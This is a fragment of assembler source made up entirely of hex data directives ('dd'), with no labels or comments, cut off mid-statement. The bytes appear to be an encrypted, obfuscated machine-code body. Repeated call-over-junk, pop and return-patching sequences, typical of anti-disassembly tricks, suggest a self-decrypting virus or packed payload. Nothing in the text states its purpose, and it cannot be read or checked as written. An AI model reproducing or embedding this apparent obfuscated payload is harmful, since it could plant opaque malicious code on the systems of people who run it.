5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh, 0A06802E4h dd 8900005Dh, 89502404h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 0EC812434h, 4, 83240489h, 0C8904ECh, 97A1B924h, 0CE8905EAh dd 22D46859h, 24890000h, 24048124h, 4, 89515558h, 59CD89F1h dd 5D086889h, 5224048Bh, 0C281E289h, 4, 4C281h, 14870000h dd 348B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 0FCDA6EE9h, 89B836FFh, 305EAA2h, 0BDE0FFC5h, 5E1B5EB5h dd 0F17E2E0Eh, 8D4EE462h, 9F4FDDE1h, 2A3D955Fh, 1727E09Ch dd 454DED60h, 691EDD5Bh, 0ED7DC781h, 2C2DCB39h, 0B01B8BCCh dd 0EB554D8Dh, 0C0000039h, 0C002CC00h, 0C002E400h, 0 dd 0F1A90B00h, 0E8A5F847h, 0F9ADB676h, 0F2A99822h, 0F8EE9A4Fh dd 0D2C0974Eh, 0D08CB976h, 0D3B4B022h, 0C8AE1A52h, 0FDA5CD4Ah dd 17A0DF46h, 0CCC085E2h, 9CC0F4CAh, 5F98DB22h, 0B884747Ah dd 0B8847F26h, 9CC06526h, 5F90FF22h, 7F61321Eh, 0FC026B0Fh dd 9C43F842h, 17C0FB22h, 53419CFCh, 0C12E9EC4h, 1F0BF543h dd 7BCDC69Fh, 95B5DF27h, 80D552A1h, 0E8C0F2C5h, 1793AB3Bh dd 987945E2h, 1949FE22h, 99276CF7h, 36F422AFh, 4F3FDACBh dd 2143B779h, 9927EB37h, 0CCD78F22h, 98794571h, 1949FE22h dd 99276CF7h, 3BE322AFh, 4F3FDACBh, 9CAAB779h, 9CC31F74h dd 0C2E0FB22h, 0E849A3E1h, 0D841FA06h, 9CDD7B06h, 0CA86BF22h dd 73DD05E1h, 2873585Fh, 0AD0B9D28h, 7BF2969Fh, 0E9757427h dd 17C51902h, 0CEC015E2h, 9CC0BCCAh, 5F9AFF22h, 0B8946678h dd 0B8847626h, 9CC0EC26h, 5F92BF22h, 1C623AB6h, 5A38F444h dd 7BC746A7h, 9CAA8927h, 9CC30771h, 0C7E0F722h, 0C049A0E1h dd 0D841F906h, 9CD9FA06h, 0CF837F22h, 63EFAAE1h, 0FA47D99Bh dd 1491EA9h, 9927E553h, 9CC0FFCAh, 3478AF22h, 9CD116BEh dd 911C7F22h, 0CC908889h, 58A84571h, 0B6788614h, 25920258h dd 0FAF89208h, 1672AD7Bh, 98E4BAA9h, 17937FA9h, 0D849E6E8h dd 2AA0DB06h, 624B8F10h, 9CC0FCCAh, 777A9822h, 4B871331h dd 61E7C6ACh, 0C4A11E7Ch, 6332002Dh, 7BED1A97h, 9955E627h dd 11C5102Bh, 76B998A7h, 0CDC09727h, 9CC0FDCAh, 5F995F22h dd 0B88C367Bh, 0B8845E26h, 9CC0F226h, 5F91B622h, 90E08514h dd 8B260384h, 23CFA453h, 151080ECh, 7BF27AB7h, 0F6C4B527h dd 9F28B922h, 0BCC0F722h, 159E387Ch, 1DC4D956h, 85C4DA66h dd 0DAC07F22h, 15C77C74h, 4B5E4DEEh, 9CC0EBCAh, 9CD0F722h dd 10CFAC22h, 9CC0FD27h, 0C9B60A98h, 17902524h, 17C49B66h dd 8A46D022h, 74C0EF22h, 9CC0F72Fh, 0EA42ED02h, 6E27FC35h dd 1492D1D0h, 544B195Ah, 0B884367Bh, 23A6BF26h, 7590EFFAh dd 9CC0F729h, 5406FE7h, 26017B2Fh, 0C7483693h, 75392743h dd 9CC0BF28h, 9EAF2C1Bh, 0B1DB5465h, 67A8B8AEh, 17796D8Eh dd 0B8C47CF1h, 0DAA9ABD3h, 74957F48h, 9CC0BF21h, 0C1038202h dd 98E483ABh, 98E4B3A3h, 9CC0FB3Ah, 5303A867h, 0F424BA0h dd 0FCA6AEA2h, 9CC0ADCBh, 194C1C22h, 0E3849EFBh, 27EF66B5h dd 0A0ECE241h, 0FA463EBDh, 0F6A136A9h, 0A54DF622h, 63C55810h dd 0D945F6F2h, 0CBC5082Bh, 0A9757C72h, 0C2C51C26h, 0D845747Dh dd 0F6C51481h, 9F282822h, 0BCC0BF22h, 159F1C7Dh, 1DC4CB5Eh dd 84C4D366h, 0DBC0FB22h, 7F6D3E75h, 17CF523Bh, 9938F4F3h dd 9CC0BDEEh, 3F885AABh, 5C43EAC8h, 0D0457E3Ah, 0AFC51181h dd 9E2C44E2h, 3633FE22h, 0B6F1F213h, 8F29BAC5h, 23C0DF22h dd 0B24DA9C4h, 0FBB02F71h, 0ABAE7AE8h, 0CB6DD73Fh, 1906FB24h dd 992778DBh, 0F4133561h, 609D7B1Ch, 12CFBD72h, 9CC0F721h dd 933B7044h, 9F4AF213h, 0FAC0FE22h, 0C49A8DA9h, 0FCE48BA3h dd 0F6A0E5EDh, 9F28BF22h, 0BCC0F722h, 1598387Ah, 1DC4D966h dd 85C4DA66h, 0DCC07F22h, 3D5B7C72h, 659C2D63h, 0B0815A11h dd 293FF2C5h, 9927D6E7h, 0BAF940A9h, 194DFBC5h, 992A0641h dd 1716082Dh, 0F61020F2h, 9F28BC22h, 0BCC0F722h, 159B3879h dd 1DC4D97Eh, 84C4DA66h, 0DFC07F22h, 5CEA7C71h, 1539B9E4h dd 7BEEDAA7h, 1C9A427h, 9927D023h, 4D45707Dh, 65C51901h dd 9E05FAABh, 11C1BAC5h, 9927F24Fh, 9B396AE4h, 0F693F2C5h dd 9F28AC22h, 0BCC0FD22h, 159F3D7Dh, 1DC45B5Eh, 8AC49B66h dd 0DBC0DF22h, 0E8CC2C75h, 9CC41F27h, 0D418FB22h, 0FC900193h dd 0CE900FA8h, 0C49A4E2Dh, 1790E143h, 0FCC4FB66h, 17A124A9h dd 0FC92A722h, 93A19A42h, 0FC7F9B13h, 1598A46Eh, 17C45B66h dd 9CAAE7DBh, 9CC33773h, 0C5E0EF22h, 0D049AEE1h, 0D841FF06h dd 9CDDF906h, 0CD81FE22h, 0A7326E1h, 45AE3453h, 63B63BB6h dd 7BED2A97h, 0CCC09D27h, 9CC0F8CAh, 5F98DD22h, 0B884777Ah dd 0B884FE26h, 9CC0A326h, 5F909F22h, 0CBF73782h, 0C8F9BB52h dd 1139708Fh, 76B99EA7h, 0CDC09427h, 9CC07CCAh, 5F999F22h dd 0B88C567Bh, 0B8846E26h, 9CC0E126h, 5F91BA22h, 7595E9B0h dd 9CC0FE33h, 51052F5h, 961C7CDFh, 0C9DCC980h, 0F95DF05h dd 0F61008C4h, 9F28A922h, 0BCC0FD22h, 159A3D78h, 1DC45B76h dd 89C49B66h, 0DEC0DF22h, 0F1832C70h, 0E77B4844h, 86DD7EABh dd 9CAAF8C5h, 9CC31675h, 0C3E07F22h, 0E049E0E1h, 0D841DB06h dd 9CD8EB06h, 0CB87F722h, 0A4179AE1h, 2AA0D104h, 7B307F69h dd 0FDDD96ADh, 9CC0AECBh, 0E3FC5322h, 7114D87Dh, 4DE8498Bh dd 33E19861h, 1906331Ah, 9927F9DBh, 0CCC01571h, 9CC0BCCAh dd 5F98FF22h, 0B884667Ah, 0B8847626h, 9CC0ED26h, 5F90BD22h dd 747067CFh, 9CC07F26h, 44D87B91h, 17A68D72h, 17F1E0F1h dd 0CC98ADEAh, 0ADCFA972h, 0D84BA578h, 0CE90FA06h, 378CC144h dd 17A68E2Dh, 179885EDh, 654B8922h, 98E4B3ABh, 0C1914144h dd 639AAB7Ah, 7BED3B97h, 0CCC01527h, 9CC0BCCAh, 5F98FF22h dd 0B884667Ah, 0B8847626h, 9CC0E126h, 5F90BD22h, 52FF2ADBh dd 110BEC8Ah, 76B9DCA7h, 9A42D027h, 0B5C0EF22h, 7BDB72BFh dd 0F6100427h, 9F28AC22h, 0BCC0FE22h, 1599BC7Bh, 1DC49B6Eh dd 84C4FB66h, 0DDC0EF22h, 9CB73473h, 64665631h, 9A4560ABh dd 1949FBC5h, 9927524Bh, 982502A9h, 1906DAC5h, 9927E8DBh dd 7155DE65h, 74C51C24h, 9CC0FD26h, 2B1E238Bh, 0FA922972h dd 0C559509Dh, 0B884547Ch, 9B798926h, 0FCC07C52h, 5E4B9D71h dd 0FA92AD78h, 0ADCF28A9h, 0C49A6A93h, 0B8843643h, 93928F26h dd 9CC0EAA7h, 8B3B4D22h, 0ADCFE159h, 0ABD54244h, 0F698A678h dd 9F282E22h, 0BCC0BF22h, 15991C7Bh, 1DC4CB6Eh, 81C4D366h dd 0DDC0FB22h, 0EC303E73h, 9901CEDh, 7462A379h, 597540DEh dd 0F6C5380Fh, 9F28BA22h, 0BCC0F722h, 159D387Fh, 1DC4D94Eh dd 80C4DA66h, 0D9C07F22h, 0E2E07C77h, 2847E9C8h, 0CB278F6Ch dd 9CC6742Dh, 294BFB22h, 9927CDEBh, 0F57D757Bh, 11C59834h dd 76B9DCA7h, 0CAC0B527h, 9CC0ECCAh, 5F9ED722h, 0B8B4727Ch dd 0B8847C26h, 9CC0E726h, 5F963922h, 195B0A17h, 4679C21Ch dd 6381BD1Fh, 0C17D7CF2h, 15C51C27h, 7BC2D0A7h, 0CBC09427h dd 9CC07CCAh, 5F9F9F22h, 0B8BC567Dh, 0B8846E26h, 9CC0EE26h dd 5F97BC22h, 0AD665487h, 294B44F1h, 99277FF3h, 9CC0ABCBh dd 4F0DC522h, 35361114h, 4EB1E833h, 6A74F43Ah, 34A05475h dd 654538C7h, 0DBC59825h, 2E7909Dh, 0B957B75Eh, 9429C5D5h dd 0F8C0F722h, 71472E47h, 1DEC05A8h, 7623DA26h, 6E7E29C6h dd 63DFE855h, 7BED1A97h, 0FA0F6427h, 11C6809Bh, 76B998A7h dd 0C9C09727h, 9CC0FDCAh, 5F9D5F22h, 0B8AC367Fh, 0B8845E26h dd 9CC0FB26h, 5F95B222h, 63D44A64h, 0CBC097F2h, 9CC0FDCAh dd 5F9F5F22h, 0B8BC367Dh, 0B8845E26h, 9CC0F726h, 5F97B022h dd 7F54455Fh, 0E5557494h, 75C51920h, 9CC07F2Fh, 0EE96343Bh dd 0F7D6F4FEh, 0CEA0DCDBh, 31457E41h, 0F6C51C27h, 9F28A822h dd 0BCC0FE22h, 159DBC7Fh, 1DC49B4Eh, 86C4FB66h, 0D9C0EF22h dd 0C5F83477h, 12F0C11Eh, 65453B21h, 0DBC51925h, 74917F48h dd 9CC0BF21h, 0C5038602h, 98E4A3ABh, 98E4B3A3h, 9CC0FB39h dd 8D03AC63h, 4C9239D7h dd 227812B6h, 97B0AB11h, 48E3FB4Ah, 504A8FE5h, 0FD177C44h dd 0E5E4CFA3h, 0F6ADE43Dh, 9F28AF22h, 0BCC07F22h, 15997C7Bh dd 1DC4FB6Eh, 88C4CB66h, 0DDC0F722h, 0FA603873h, 0FA86529Ch dd 63889098h, 7BEDBA97h, 0F14D3427h, 11C53839h, 76B98CA7h dd 0CDC09D27h, 9CC0F8CAh, 5F99DD22h, 0B88C777Bh, 0B884FE26h dd 9CC0AB26h, 5F919E22h, 0F61010C1h, 9F28A522h, 0BCC0FB22h dd 159A3E78h, 1DC4DA76h, 81C45B66h, 0DEC0BF22h, 0BB7A1C70h dd 44BD394Dh, 424637C8h, 9CC0F3CBh, 0C007C222h, 7699609Eh dd 90477095h, 93C0BF22h, 9CC0D9A6h, 0F17D6622h, 15C5100Fh dd 7BEE8AA7h, 9246F227h, 75C0FE22h, 9CC07F2Bh, 2B2EFC64h dd 0D3820948h, 0E94D66D4h, 63C5102Ah, 5577F4F2h, 9CCA1442h dd 72AFE22h, 0A3AAD9A2h, 0C6E4A526h, 8A514AABh, 15A1EAC5h dd 7BC076A7h, 0CDC09127h, 9CC0FECAh, 5F99DE22h, 0B88CF67Bh dd 0B8843E26h, 9CC0C326h, 5F91AE22h, 0F688DB67h, 4C140723h dd 444C9BE4h, 0F6C4DADBh, 9F282D22h, 0BCC0BF22h, 159A1C78h dd 1DC4CB76h, 89C4D366h, 0DEC0FB22h, 75523E70h, 18CF3E28h dd 9CC07DDDh, 9C352AABh, 1906DAC5h, 9927E8DBh, 0CCC09D6Dh dd 9CC0F8CAh, 5F98DD22h, 0B884777Ah, 0B884FE26h, 9CC0AB26h dd 5F909F22h, 527FE087h, 4CB4699Dh, 9CC41376h, 0F004FD22h dd 179041A2h, 0CFC45B66h, 9B7BD942h, 733F641Fh, 0C5A1E3AAh dd 1BCFF7A9h, 9CC0FB22h, 98E4B9ABh, 0CCC0947Ah, 9CC07CCAh dd 5F989F22h, 0B884567Ah, 0B8846E26h, 9CC0E126h, 5F90BB22h dd 0FCAE3B5Ah, 0CD00492Dh, 9FA9CAA9h, 0FD9BBAC5h, 9CC0D4CBh dd 25C66C22h, 0FE69AECDh, 0B66269h, 0B10548DDh, 194DFBC5h dd 992A0641h, 9E2102A9h, 4C3FDAC5h, 7490EF48h, 9CC0F721h dd 0C403A302h, 98E4B9ABh, 98E4BAA3h, 9CC07F39h, 9603EF62h dd 0D0559CE1h, 0FA22CE0Eh, 5C430FA9h, 577FF406h, 0BC2578ABh dd 7593FBC5h, 9CC07F2Fh, 0F6ADA1E4h, 0F50BFC96h, 0ABD44B19h dd 194BA951h, 9927FBA3h, 17177644h, 7BEE8FBFh, 2BCF1F27h dd 0FD580DDCh, 0CAC0B561h, 9CC0ECCAh, 5F9ED722h, 0B8B4727Ch dd 0B8847C26h, 9CC0E326h, 5F963922h, 0A1B8DC2Eh, 0DFA1EBC3h dd 874BE451h, 7496F748h, 9CC0FB21h, 0C203A302h, 98E48AABh dd 98E43BA3h, 9CC0BF34h, 62038964h, 1495842h, 9927E1BFh dd 874BE0A9h, 7491FD48h, 9CC0FE21h, 0C5032602h, 98E4F3ABh dd 98E49BA3h, 9CC0EF34h, 2B03A663h, 11494420h, 9927FFE3h dd 17A62611h, 1D5DF6D9h, 75C5580Ch, 9CC0DF2Ch, 0B3D136C7h dd 1B68C519h, 975100A4h, 90299F5Bh, 15C0FE22h, 8382F9CEh dd 6C60AF9Ah, 5AE5A3E3h, 7BC716A7h, 93A0B027h, 5F402895h dd 98289C5Ch, 35C0FE22h, 2677A1FFh, 0B24BAE7Bh, 66E6572h dd 0D84BE09Fh, 22A6F306h, 9C4B759Fh, 0FD377742h, 98E4BAABh dd 0C437F444h, 1690544h, 0B1056ADDh, 9C9EAC5h, 9927FB4Bh dd 0E5A37EAFh, 9CAAF8C8h, 9CC31670h, 0C6E07F22h, 0C849E5E1h dd 0D841DB06h, 9CD5EB06h, 0CE82F722h, 0CE96E3E1h, 0AEB148ABh dd 0FA9EFBC5h, 436790A3h, 21E96FDDh, 9927FDFBh, 19493AA8h dd 9927F50Fh, 9CC6732Dh, 94BFD22h, 9927FD5Fh, 0CDC01562h dd 9CC0BCCAh, 5F99FF22h, 0B88C667Bh, 0B8847626h, 9CC0EE26h dd 5F91BC22h, 7E407A64h, 0F6C0F424h, 9F28E922h, 0BCC0DF22h dd 159E2C7Ch, 1DC4D356h, 88C4DF66h, 0DAC0FD22h, 17233D74h dd 0CEC01522h, 9CC0BCCAh, 5F9AFF22h, 0B8946678h, 0B8847626h dd 9CC0E226h, 5F92BF22h, 0C992AF1h, 25A652A8h, 19CF1CE4h dd 9CC0DF22h, 9E3952ABh, 1949F2C5h, 9927F36Bh, 9CC0ECCBh dd 9D490C22h, 0A5BF7943h, 0C0815CF7h, 1B97ABB4h, 61294BBDh dd 0F6C0F722h, 9F28AD22h, 0BCC0FD22h, 159E3D7Ch, 1DC45B56h dd 8AC49B66h, 0DAC0DF22h, 88252C74h, 9CCD1EB4h, 61C9FB22h dd 0CD8FAED1h, 25464BCCh, 1183174Dh, 7663D5A7h, 0CDC0B527h dd 9CC0ECCAh, 5F99D722h, 0B88C727Bh, 0B8847C26h, 9CC0E726h dd 5F913E22h, 0ABACCD64h, 114BE979h, 9927C417h, 156D4672h dd 2949DF26h, 9927FB6Fh, 0AD396BDDh, 9CAA7AC5h, 9CC35774h dd 0C2E0DF22h, 0E849B1E1h, 0D841F306h, 9CD8FF06h, 0CA86FD22h dd 0BBA18EE1h, 2149E37Eh, 99278D3Fh, 9CC2512Dh, 544BEF22h dd 3FB06AAFh, 9CAAFEC8h, 9CC31575h, 0C3E0FE22h, 0E04920E1h dd 0D841BB06h, 9CD5DB06h, 0CB87EF22h, 152AA5E1h, 7BCB5AA7h dd 0C72AD27h, 1DE4E2ABh, 16DCA0CBh, 94292F5Ah, 23C0DF22h dd 0EC15DB57h, 0CC140D98h, 9CC27B2Dh, 6E4BFD22h, 0FD5501B2h dd 95C5982Dh, 7BC77A9Fh, 79455627h, 60C50802h, 9B3972E4h dd 0F693FEC5h, 9F28AB22h, 0BCC0FE22h, 159EBC7Ch, 1DC49B56h dd 8AC4FB66h, 0DAC0EF22h, 6C423474h, 9CC413D1h, 18BFFD22h dd 17A654A5h, 0C3922FD2h, 98E4FBA9h, 9CC05E2Dh, 9C4BEF22h dd 0CEFC4D44h, 98E4BFABh, 0C4337644h, 9CC0F0CAh, 85146C22h dd 9320021Dh, 0D919EEAEh, 0FA473F19h, 639F21A9h, 7BED3E97h dd 0ED557427h, 93C51913h, 9CC07AA7h, 5541D922h, 194DDD64h dd 992A9641h, 4C3F20A9h, 7492FB48h, 9CC0FD21h, 0C603A402h dd 98E42BABh, 98E4FBA3h, 9CC0DF3Bh, 0FC03BD60h, 0F8D99CD4h dd 767E9D89h, 0DD45740Fh, 0F6C51922h, 9F282F22h, 0BCC0BF22h dd 15981C7Ah, 1DC4CB66h, 84C4D366h, 0DCC0FB22h, 4E8F3E72h dd 750F1574h, 9CC07F33h, 5B4525CCh, 1616BD00h, 964E7691h dd 4727672Eh, 8943F4D5h, 75C0FD22h, 9CC0FE32h, 6D346871h dd 0AC64E8E9h, 0E15D16Ah, 161E194Fh, 9B3972E4h, 0F687FEC5h dd 9F28AC22h, 0BCC0FE22h, 1599BC7Bh, 1DC49B6Eh, 85C4FB66h dd 0DDC0EF22h, 0B8D23473h, 0CE4A4470h, 9CC0F9CAh, 0EED56E22h dd 5E4B1F83h, 9390EF43h, 9CC0DAA5h, 0E73F5022h, 179987B4h dd 25C4DF66h, 0E2C324E4h, 534BFEA9h, 98E43BABh, 9CC0B0CAh dd 72B1FC22h, 0F729A6B7h, 0D4375AE8h, 55FB876Dh, 9CC0F4CBh dd 25260622h, 1B3B03ADh, 0C49A9D81h, 998D5AABh, 293FEAC5h dd 9927DAE7h, 7492FB48h, 9CC0FD21h, 0C603A402h, 98E42BABh dd 98E4FBA3h, 9CC0DF3Fh, 903BD60h, 0E2C99C24h, 0CB6FFD33h dd 0FF4570BAh, 0F6C5145Bh, 9F282A22h, 0BCC0BF22h, 159D1C7Fh dd 1DC4CB4Eh, 81C4D366h, 0D9C0FB22h, 0F6583E77h, 13485113h dd 0E99E66F7h, 4C3F46A9h, 9CC0D4CBh, 74B8322h, 0D8166321h dd 0A3F50078h, 0B8BD78ABh, 9CAAFBC5h, 9CC39772h, 0C4E0BF22h dd 0D84987E1h, 0D841EB06h, 9CD9F306h, 0CC80FB22h, 7265A9E1h dd 17FB7F63h, 6545B9F3h, 0CFC55825h, 7495DF48h, 9CC0EF21h dd 0C103AA02h, 98E497ABh, 98E4B9A3h, 9CC0FE39h, 0F4032A67h dd 0A3395C1h, 17BCB393h, 7BF10E9Fh, 6C77F827h, 79F8594Ah dd 1BCFACADh, 9CC0FE20h, 1D9F1E42h, 0FBF29B16h, 9CAAC9FEh dd 9CC30771h, 0C7E0F722h, 0C049A0E1h, 0D841F906h, 9CD8FA06h dd 0CF837F22h, 0B58568E1h, 26A62157h, 15A0BF16h, 7BC6D2A7h dd 415D7027h, 0FDC51A02h, 0B1054BDDh, 0BF7A7AC5h, 11B05A1Dh dd 76B9BCA7h, 0E17D6627h, 63C5103Dh, 0CEC091F2h, 9CC0FECAh dd 5F9ADE22h, 0B894F678h, 0B8843E26h, 9CC0C526h, 5F92AD22h dd 0ED3CBBE7h, 0CB167F13h, 98D16023h, 0CF9AFBC5h, 6975F472h dd 0C6C55827h, 5145567Ch, 17C50810h, 654531ECh, 0CBC51C25h dd 91AD68A9h, 6AA8FBC5h dd 0FA3F084Bh, 0A84175A9h, 0EFFB2F06h, 9CC5064Dh, 0B457F722h dd 6385CA42h, 7BED3897h, 0AE7E9827h, 0FF45F281h, 0F6C5555Bh dd 9F288F22h, 0BCC0EF22h, 1598347Ah, 1DC4DF66h, 84C4D966h dd 0DCC0FE22h, 0F773BC72h, 0AFC3F926h, 7BCAB2B7h, 41456627h dd 63C5102Eh, 0C9C091F2h, 9CC0FECAh, 5F9DDE22h, 0B8ACF67Fh dd 0B8843E26h, 9CC0C426h, 5F95AA22h, 53BB1572h, 4B92D7E5h dd 9CDD7E2Dh, 9528FE22h, 0B5C07F22h, 75B3B634h, 384373CFh dd 9CC0E6CBh, 95EC0322h, 0EBDCE39Bh, 159AA3D2h, 7BE93FA7h dd 0CBC01527h, 9CC0BCCAh, 5F9FFF22h, 0B8BC667Dh, 0B8847626h dd 9CC0E226h, 5F97BA22h, 6551070Bh, 190684CBh, 9927B8DBh dd 0C9C0B561h, 9CC0ECCAh, 5F9DD722h, 0B8AC727Fh, 0B8847C26h dd 9CC0E626h, 5F953A22h, 6D3165F7h, 0FD5556FCh, 0FCC50810h dd 970172ABh, 214BFEC5h, 9927D05Bh, 6EC9643h, 22A6E54Bh dd 98411450h, 0BA152306h, 0CDC08500h, 9CC0F4CAh, 5F99DB22h dd 0B88C747Bh, 0B8847F26h, 9CC06A26h, 5F91FE22h, 9A280972h dd 57C0EF22h, 8145AFE5h, 9CD21242h, 9227FD22h, 0ED89F378h dd 0DD2EDA76h, 0CC9C84A3h, 0FFB0CB6Dh, 59751078h, 17C5100Fh dd 7BCE9E97h, 0FF457027h, 93C5145Bh, 9CC079A5h, 0D9753422h dd 63C5382Fh, 424189F2h, 1949FB02h, 9927DB77h, 0FC4570D7h dd 93C51481h, 0FC50819Dh, 0CC9268A9h, 0C6F1D070h, 0CCA1B77Ah dd 0AD04870h, 0C9AA425h, 8A1570ABh, 93FFBC5h, 99274EDBh dd 7491BF48h, 9CC0DF21h, 0C503B602h, 98E4BBABh, 98E4BFA3h dd 9CC0FD3Ah, 0ED03AF63h, 28F8575h, 9CAA67A9h, 9CC33770h dd 0C6E0EF22h, 0C849ADE1h, 0D841FF06h, 9CD5F906h, 0CE82FE22h dd 15EE44E1h, 7BEAF29Fh, 255DEE27h, 11C50838h, 7663A3A7h dd 9A42F427h, 0B5C0FD22h, 7BD2379Fh, 9B282F27h, 0CAC0BF22h dd 2455D879h, 0FAA041E4h, 0CDE94A98h, 159A9A7Bh, 2149D926h dd 9927D3D7h, 0B8DCF672h, 7497BF48h, 9CC0DF21h, 0C303B002h dd 98E48BABh, 98E4BFA3h, 9CC0FD3Fh, 4003A965h, 26BC3F40h dd 5BD4E8Ch, 0C8015EC2h, 63DEB846h, 7BCF96B7h, 0CAC09127h dd 9CC0FECAh, 5F9EDE22h, 0B8B4F67Ch, 0B8843E26h, 9CC0C626h dd 5F96A922h, 8DA8DA9Dh, 5140A26Ah, 115D7445h, 15C51908h dd 7BECA6A7h, 19074627h, 9927F557h, 9CC0EF2Dh, 494D7C73h dd 0C3C51C13h, 93F2BA9h, 9927D2FBh, 1510F444h, 7BD972A7h dd 0C97D5627h, 17C50826h, 7BEEC2A7h, 0D05D7627h, 15C51794h dd 214DFF61h, 99275CF3h, 2AE60AAFh, 0AF79DAC8h, 6FC0EF22h dd 24F31C86h, 9CC0FB22h, 9FB43D29h, 17C0E6E0h, 0CFCC5B66h dd 9CC0BFCAh, 5F418422h, 9CC0EF35h, 8CE4ABABh, 88E4BFABh dd 3CF74579h, 7C3FFE82h, 98E43BA9h, 9CAA5FDDh, 9CC33774h dd 0C2E0EF22h, 0E849A9E1h, 0D841FF06h, 9CD8F906h, 0CA86FE22h dd 1C566FE1h, 1793A129h, 7BCBB6B7h, 294BB027h, 9927F3C7h dd 9CB966ABh, 9628F8C5h, 24C0FE22h, 1F25F444h, 5E3ED58Dh dd 9CC93617h, 0A540EF22h, 91372F42h, 0C26B3C06h, 0CFC09743h dd 9CC0FDCAh, 5F9B5F22h, 0B89C3679h, 0B8845E26h, 9CC0F526h dd 5F93B422h, 53B2C04Dh, 75979676h, 9CC0FE2Ah, 0A0AF32CBh dd 0DE9CD2D2h, 3F9462AFh, 114DEAC8h, 992A41D5h, 0BA6BCE9Ah dd 3D45CEBAh, 0B7C51927h, 0E217A0EDh, 0CACCC085h, 229CC0F4h dd 7A5F98DBh, 26B88474h, 26B8847Fh, 229CC065h, 0F305E983h dd 8BD98BA4h, 0E7176DB5h, 58F0F05h, 66000000h, 2865CE81h dd 49E9h, 0B70F6000h, 6161F8C3h, 0CE9h, 0F36B4000h, 688BAB01h dd 0CFA4840Fh, 6AC3D6h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 2CDB2EC3h, 0BE9FC06h, 0EF000000h dd 1658A26Ch, 0B174682Ah, 0C08BC362h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0AC35141h, 138B0F71h, 0E9000000h dd 0Eh, 1737186Ah, 4639BEC8h, 6C1F562Eh, 0BD83D9F2h, 5E70D79h dd 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h, 4B9B8h dd 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h, 15BD8358h dd 5E71Ch, 53501774h, 4B9B8h, 2D858900h, 8D05E70Fh, 0E9A73C9Dh dd 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0B649F8EDh, 0F17D596Bh, 0FF84212h dd 185h, 8A0FF800h, 5, 6160F960h, 0E9C08B61h, 0Ah, 57FA8F07h dd 8A58763Dh, 8B40FB65h, 4EBF9C1h, 0 dd 16499D89h, 858D05E7h, 5E71AF9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 80C35545h, 12C2CE9h, 26CDB58Bh dd 529005E7h, 0B5F1BF66h, 0BE66505Fh, 6A9075C8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 3441C350h, 53B26601h, 0F978DF7Ch, 96DE8166h, 0A1950148h dd 6A05E722h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 662AB32Dh, 6A2B8CBEh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0CA5251CBh, 1DB7470Eh, 0BA69858Dh, 6A05EAh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 832588C3h, 0B58B05C0h, 5E72189h, 0FE8B6650h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 68D1C355h, 0A3076C5h, 8D290BBEh, 5E7136Dh dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 7A041FC3h, 6E8D060Fh, 0FE8B87EBh, 6A006AF8h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0A7F4C353h, 8960C866h, 0E7096D8Dh, 3830F05h dd 66000000h, 0FF61F78Bh, 0E702C595h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 8EB3B107h, 9D89E13Ch, 5E7169Dh, 95149D8Dh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 3FFE11C3h, 0F6380748h, 57BFF733h, 0FF1BDAE3h, 51006AD3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 58E050A7h, 89FD7444h, 0E72A29BDh, 0F8B70F05h, 1CE185FFh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0E9A0DFC3h, 9CE9FB8Bh, 0E8000006h, 0 dd 73ED815Dh, 6A05EABAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 6D94C353h, 58686EB8h dd 815F50BCh, 0E72A75BDh, 7D005h, 4D860F00h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 6141C355h, 221C35C6h, 23E3FF99h, 0E72075B5h dd 0D99D8B05h, 6A05E727h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 47B7C357h, 2D20E5D6h dd 217D8D89h, 0F18B05E7h, 100E381h, 0B70F0000h, 0FDB0BFEh dd 0A285h, 0B58D8900h, 6605E725h, 89F9D681h, 0B847BD83h dd 0F0005EAh, 2784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0E9B3ABA9h, 91h, 0DB5EBE66h dd 0B84785C7h, 105EAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 157FD2C3h, 0A7CFDBDFh dd 0E9F8AF9Bh, 59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0EFC35747h, 5E8023BBh, 3309E2DEh, 0E726D5BDh dd 35B58B05h, 0C705E723h, 0EAB84785h, 5, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0B286DC5Fh, 0D99D8D33h, 8B05E727h, 0E715CDBDh, 0FF238105h dd 0BFFFFFFEh, 53AAB8C8h, 6ADB8C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 34C8C350h dd 